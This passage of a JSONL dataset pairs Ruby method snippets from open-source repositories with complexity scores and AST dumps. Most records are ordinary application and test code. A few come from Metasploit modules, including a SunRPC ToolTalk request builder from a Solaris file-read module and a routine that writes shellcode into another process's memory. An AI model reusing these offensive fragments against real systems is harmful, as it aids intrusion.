vc_token_before_skew\"]}]}]},\"iso8601\"]},\"strip\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@vcenter_saml_not_after\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"utc\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"vc_token_after_skew\"]}]}]},\"iso8601\"]},\"strip\"]}]}]}]}","id":"f0519ecd-b37b-438d-8c63-ad36278f0c8b"}
{"repo_name":"manageiq","file_path":"./repos/manageiq/app/models/ems_refresh/save_inventory_infra.rb","start_line":261,"raw_source":"def save_storage_files_inventory(storage, hashes)\n    save_inventory_multi(storage.storage_files, hashes, :use_association, [:name])\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"save_storage_files_inventory\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"storage\"]},{\"type\":\"arg\",\"children\":[\"hashes\"]}]},{\"type\":\"send\",\"children\":[null,\"save_inventory_multi\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"storage\"]},\"storage_files\"]},{\"type\":\"lvar\",\"children\":[\"hashes\"]},{\"type\":\"sym\",\"children\":[\"use_association\"]},{\"type\":\"array\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]}]}]}]}","id":"d5411331-67e9-4b69-adbc-5dbbba44b910"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/components/previews/layouts/page_heading_component_preview.rb","start_line":8,"raw_source":"def default(\n      heading: 'Page heading',\n      actions: 'Page actions go here',\n      description: 'Page description goes here'\n    )\n      render(::Layouts::PageHeadingComponent.new(heading)) do |c|\n        c.with_actions { actions }\n        c.with_description { description }\n      end\n    end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"default\",{\"type\":\"args\",\"children\":[{\"type\":\"kwoptarg\",\"children\":[\"heading\",{\"type\":\"str\",\"children\":[\"Page heading\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"actions\",{\"type\":\"str\",\"children\":[\"Page actions go here\"]}]},{\"type\":\"kwoptarg\",\"children\":[\"description\",{\"type\":\"str\",\"children\":[\"Page description goes here\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"render\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Layouts\"]},\"PageHeadingComponent\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"heading\"]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"c\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"with_actions\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"actions\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"c\"]},\"with_description\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"lvar\",\"children\":[\"description\"]}]}]}]}]}","id":"623eb9fc-26a0-40d1-ac16-fd2e4d99acbe"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/migration/check_constraint_test.rb","start_line":239,"raw_source":"def test_remove_constraint\n            @connection.add_check_constraint :trades, \"quantity > 0\", name: \"quantity_check\"\n\n            assert_equal 1, @connection.check_constraints(\"trades\").size\n            @connection.remove_constraint :trades, \"quantity_check\"\n            assert_equal 0, @connection.check_constraints(\"trades\").size\n          end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"test_remove_constraint\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"add_check_constraint\",{\"type\":\"sym\",\"children\":[\"trades\"]},{\"type\":\"str\",\"children\":[\"quantity > 0\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"quantity_check\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"check_constraints\",{\"type\":\"str\",\"children\":[\"trades\"]}]},\"size\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"remove_constraint\",{\"type\":\"sym\",\"children\":[\"trades\"]},{\"type\":\"str\",\"children\":[\"quantity_check\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@connection\"]},\"check_constraints\",{\"type\":\"str\",\"children\":[\"trades\"]}]},\"size\"]}]}]}]}","id":"11a45199-27a8-4c91-b967-733c725ceb4b"}
{"repo_name":"spree","file_path":"./repos/spree/storefront/app/controllers/spree/orders_controller.rb","start_line":40,"raw_source":"def edit\n      flash.keep if request.format.turbo_stream?\n      @order = current_order || find_order_by_cookie\n      associate_user\n\n      remove_out_of_stock_items\n      load_line_items\n    end","complexity_score":14.2,"ast_json":"{\"type\":\"def\",\"children\":[\"edit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"format\"]},\"turbo_stream?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"keep\"]},null]},{\"type\":\"ivasgn\",\"children\":[\"@order\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current_order\"]},{\"type\":\"send\",\"children\":[null,\"find_order_by_cookie\"]}]}]},{\"type\":\"send\",\"children\":[null,\"associate_user\"]},{\"type\":\"send\",\"children\":[null,\"remove_out_of_stock_items\"]},{\"type\":\"send\",\"children\":[null,\"load_line_items\"]}]}]}","id":"f978a18e-52a1-4b4c-b7d6-485dbac9a098"}
{"repo_name":"openproject","file_path":"./repos/openproject/lib/api/errors/internal_error.rb","start_line":37,"raw_source":"def initialize(error_message = nil, exception: nil, **)\n        error = error_message\n\n        if error_message && visible_exception?(exception)\n          error.prepend(I18n.t(\"api_v3.errors.code_500\"))\n        end\n\n        super(error)\n      end","complexity_score":8.5,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"error_message\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"exception\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwrestarg\",\"children\":[]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"lvar\",\"children\":[\"error_message\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error_message\"]},{\"type\":\"send\",\"children\":[null,\"visible_exception?\",{\"type\":\"lvar\",\"children\":[\"exception\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]},\"prepend\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"t\",{\"type\":\"str\",\"children\":[\"api_v3.errors.code_500\"]}]}]},null]},{\"type\":\"super\",\"children\":[{\"type\":\"lvar\",\"children\":[\"error\"]}]}]}]}","id":"c2da726d-8875-498c-b9e4-865d872c17dd"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/local/glibc_origin_expansion_priv_esc.rb","start_line":92,"raw_source":"def suid_exe_path\n    datastore['SUID_EXECUTABLE']\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"suid_exe_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"SUID_EXECUTABLE\"]}]}]}","id":"0df97c85-043c-4bc9-be57-17503f974731"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/uploaders/packages/debian/component_file_uploader.rb","start_line":11,"raw_source":"def filename\n    model.file_name\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"filename\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"model\"]},\"file_name\"]}]}","id":"3c09025c-4eec-4e18-9a29-5e40ef4e12b9"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-http/lib/gitlab/http_v2/client.rb","start_line":138,"raw_source":"def check_max_byte_size_limit!(max_bytesize, byte_size)\n          return unless max_bytesize > 0 && byte_size > max_bytesize\n\n          configuration.log_with_level(:error,\n            { message: 'Gitlab::HTTP - Response size too large', size: byte_size })\n\n          raise ResponseSizeTooLarge, \"Response size over #{max_bytesize} bytes\"\n        end","complexity_score":7.4,"ast_json":"{\"type\":\"def\",\"children\":[\"check_max_byte_size_limit!\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"max_bytesize\"]},{\"type\":\"arg\",\"children\":[\"byte_size\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_bytesize\"]},\">\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"byte_size\"]},\">\",{\"type\":\"lvar\",\"children\":[\"max_bytesize\"]}]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"configuration\"]},\"log_with_level\",{\"type\":\"sym\",\"children\":[\"error\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"str\",\"children\":[\"Gitlab::HTTP - Response size too large\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"size\"]},{\"type\":\"lvar\",\"children\":[\"byte_size\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"raise\",{\"type\":\"const\",\"children\":[null,\"ResponseSizeTooLarge\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Response size over \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"max_bytesize\"]}]},{\"type\":\"str\",\"children\":[\" bytes\"]}]}]}]}]}","id":"6d343597-707e-40e5-ac37-59fbae8c97e2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/namespace.rb","start_line":1001,"raw_source":"def sync_share_with_group_lock_with_parent\n    if parent&.share_with_group_lock?\n      self.share_with_group_lock = true\n    end\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"sync_share_with_group_lock_with_parent\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"parent\"]},\"share_with_group_lock?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"share_with_group_lock=\",{\"type\":\"true\",\"children\":[]}]},null]}]}","id":"efa2aead-8288-456a-a62d-ba630c7da29e"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/auxiliary/admin/sunrpc/solaris_kcms_readfile.rb","start_line":136,"raw_source":"def ttdb_build(path)\n    sunrpc_create('tcp', 100083, 1)\n    sunrpc_authunix('localhost', 0, 0, [])\n    msg = Rex::Encoder::XDR.encode(\n      [path, 1024],\n      path.length,\n      1, # KEY (VArray head?)\n      2,\n      1,\n      0, # KEYDESC\n      2,\n      1,\n      # 21 zeros, /KEYDESC, /KEY\n      0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,\n      0x10002,\n      path.length\n    )\n    ret = sunrpc_call(3, msg)\n    arr = Rex::Encoder::XDR.decode!(ret, Integer, Integer)\n    print_status(format(\"TTDB reply: 0x%<addr>x, #{arr[1]}\", addr: arr[0]))\n    sunrpc_destroy\n  end","complexity_score":19.8,"ast_json":"{\"type\":\"def\",\"children\":[\"ttdb_build\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"path\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"sunrpc_create\",{\"type\":\"str\",\"children\":[\"tcp\"]},{\"type\":\"int\",\"children\":[100083]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"sunrpc_authunix\",{\"type\":\"str\",\"children\":[\"localhost\"]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"array\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"msg\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Encoder\"]},\"XDR\"]},\"encode\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},{\"type\":\"int\",\"children\":[1024]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[2]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[0]},{\"type\":\"int\",\"children\":[65538]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"path\"]},\"length\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ret\",{\"type\":\"send\",\"children\":[null,\"sunrpc_call\",{\"type\":\"int\",\"children\":[3]},{\"type\":\"lvar\",\"children\":[\"msg\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"arr\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Encoder\"]},\"XDR\"]},\"decode!\",{\"type\":\"lvar\",\"children\":[\"ret\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]},{\"type\":\"const\",\"children\":[null,\"Integer\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"TTDB reply: 0x%<addr>x, \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"addr\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"arr\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"sunrpc_destroy\"]}]}]}","id":"2eb9b691-f46f-48f1-b893-e428e901773e"}
{"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/db/migrate/20240703135444_llm_models_for_summarization.rb","start_line":41,"raw_source":"def insert_llm_model(old_value, providers, priority)\n    matching_models = DB.query(<<~SQL, model_name: old_value, providers: providers)\n      SELECT * FROM llm_models WHERE name = :model_name AND provider IN (:providers)\n    SQL\n\n    return if matching_models.empty?\n\n    priority_model = matching_models.find { |m| m.provider == priority } || matching_models.first\n    new_value = \"custom:#{priority_model.id}\"\n\n    DB.exec(<<~SQL, new_value: new_value)\n      INSERT INTO site_settings(name, data_type, value, created_at, updated_at)\n      VALUES ('ai_summarization_model', 1, :new_value, NOW(), NOW())\n    SQL\n  end","complexity_score":14.9,"ast_json":"{\"type\":\"def\",\"children\":[\"insert_llm_model\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"old_value\"]},{\"type\":\"arg\",\"children\":[\"providers\"]},{\"type\":\"arg\",\"children\":[\"priority\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"matching_models\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"query\",{\"type\":\"str\",\"children\":[\"SELECT * FROM llm_models WHERE name = :model_name AND provider IN (:providers)\\n\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"lvar\",\"children\":[\"old_value\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"providers\"]},{\"type\":\"lvar\",\"children\":[\"providers\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_models\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"priority_model\",{\"type\":\"or\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_models\"]},\"find\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"m\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"m\"]},\"provider\"]},\"==\",{\"type\":\"lvar\",\"children\":[\"priority\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"matching_models\"]},\"first\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"new_value\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"custom:\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"priority_model\"]},\"id\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB\"]},\"exec\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"INSERT INTO site_settings(name, data_type, value, created_at, updated_at)\\n\"]},{\"type\":\"str\",\"children\":[\"VALUES ('ai_summarization_model', 1, :new_value, NOW(), NOW())\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_value\"]},{\"type\":\"lvar\",\"children\":[\"new_value\"]}]}]}]}]}]}","id":"6e72402a-cfd8-44c6-b594-78fd394f5b51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/gems/gitlab-active-context/lib/active_context/config.rb","start_line":29,"raw_source":"def enabled?\n        current.enabled || false\n      end","complexity_score":3.4,"ast_json":"{\"type\":\"def\",\"children\":[\"enabled?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"current\"]},\"enabled\"]},{\"type\":\"false\",\"children\":[]}]}]}","id":"966f1d42-f2e4-4063-95cf-7ae9ccdfc750"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/flag_serializer.rb","start_line":44,"raw_source":"def is_used\n    @options[:used_flag_ids]&.include?(object.id) || object.used?\n  end","complexity_score":8.7,"ast_json":"{\"type\":\"def\",\"children\":[\"is_used\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"used_flag_ids\"]}]},\"include?\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"id\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"used?\"]}]}]}","id":"10e777c6-2cab-4cf0-b746-78db82cf2e49"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/presenters/vs_code/settings/vs_code_setting_presenter.rb","start_line":24,"raw_source":"def machine_id\n        DEFAULT_MACHINE[:uuid] if @setting[:setting_type] != 'machines'\n      end","complexity_score":4.3,"ast_json":"{\"type\":\"def\",\"children\":[\"machine_id\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@setting\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"setting_type\"]}]},\"!=\",{\"type\":\"str\",\"children\":[\"machines\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DEFAULT_MACHINE\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"uuid\"]}]},null]}]}","id":"74bb76f3-8321-4468-8033-9a69f990f907"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/redis/wrapper.rb","start_line":90,"raw_source":"def instrumentation_class\n          return unless defined?(::Gitlab::Instrumentation::Redis)\n\n          \"::Gitlab::Instrumentation::Redis::#{store_name}\".constantize\n        end","complexity_score":3.2,"ast_json":"{\"type\":\"def\",\"children\":[\"instrumentation_class\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"defined?\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Instrumentation\"]},\"Redis\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"::Gitlab::Instrumentation::Redis::\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"store_name\"]}]}]},\"constantize\"]}]}]}","id":"680d9d55-cc10-4a48-a7c7-b3eb35235a8c"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/post/windows/reflective_dll_injection.rb","start_line":41,"raw_source":"def inject_into_process(process, shellcode)\n    shellcode_size = shellcode.length\n\n    unless shellcode.length % PAGE_ALIGN == 0\n      shellcode_size += PAGE_ALIGN - (shellcode.length % PAGE_ALIGN)\n    end\n\n    shellcode_mem = process.memory.allocate(shellcode_size)\n    process.memory.protect(shellcode_mem)\n    process.memory.write(shellcode_mem, shellcode)\n\n    return shellcode_mem\n  end","complexity_score":20.9,"ast_json":"{\"type\":\"def\",\"children\":[\"inject_into_process\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"process\"]},{\"type\":\"arg\",\"children\":[\"shellcode\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shellcode_size\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]},\"length\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]},\"length\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"PAGE_ALIGN\"]}]},\"==\",{\"type\":\"int\",\"children\":[0]}]},null,{\"type\":\"op_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"shellcode_size\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PAGE_ALIGN\"]},\"-\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode\"]},\"length\"]},\"%\",{\"type\":\"const\",\"children\":[null,\"PAGE_ALIGN\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"shellcode_mem\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"memory\"]},\"allocate\",{\"type\":\"lvar\",\"children\":[\"shellcode_size\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"memory\"]},\"protect\",{\"type\":\"lvar\",\"children\":[\"shellcode_mem\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"process\"]},\"memory\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"shellcode_mem\"]},{\"type\":\"lvar\",\"children\":[\"shellcode\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"shellcode_mem\"]}]}]}]}","id":"a0e02f4a-a58a-4a6b-b98a-af5e17aa4e6c"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/mixin/hash_shorthand_syntax.rb","start_line":190,"raw_source":"def hash_with_values_that_cant_be_omitted?(hash_value_type_breakdown)\n        hash_value_type_breakdown[:value_needed]&.any?\n      end","complexity_score":2.3,"ast_json":"{\"type\":\"def\",\"children\":[\"hash_with_values_that_cant_be_omitted?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"hash_value_type_breakdown\"]}]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hash_value_type_breakdown\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"value_needed\"]}]},\"any?\"]}]}","id":"3c097ecd-4c23-4f85-9a99-2edaf2a7fea4"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/where_chain_test.rb","start_line":32,"raw_source":"def test_associated_with_multiple_associations\n      Post.where.associated(:author, :comments).tap do |relation|\n        assert_includes     relation, posts(:welcome)\n        assert_not_includes relation, posts(:sti_habtm)\n        assert_not_includes relation, posts(:authorless)\n      end\n    end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"test_associated_with_multiple_associations\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\"]},\"associated\",{\"type\":\"sym\",\"children\":[\"author\"]},{\"type\":\"sym\",\"children\":[\"comments\"]}]},\"tap\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_includes\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"welcome\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"sti_habtm\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"lvar\",\"children\":[\"relation\"]},{\"type\":\"send\",\"children\":[null,\"posts\",{\"type\":\"sym\",\"children\":[\"authorless\"]}]}]}]}]}]}","id":"889cc60a-b43e-41e5-824b-99cf944a67ad"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/models/plugin_auth_provider.rb","start_line":40,"raw_source":"def create_all_registered\n      registry.each do |slug, display_name|\n        find_or_create_by!(slug:) do |provider|\n          provider.available = false\n          provider.display_name = display_name\n          provider.creator = User.system\n        end\n      end\n    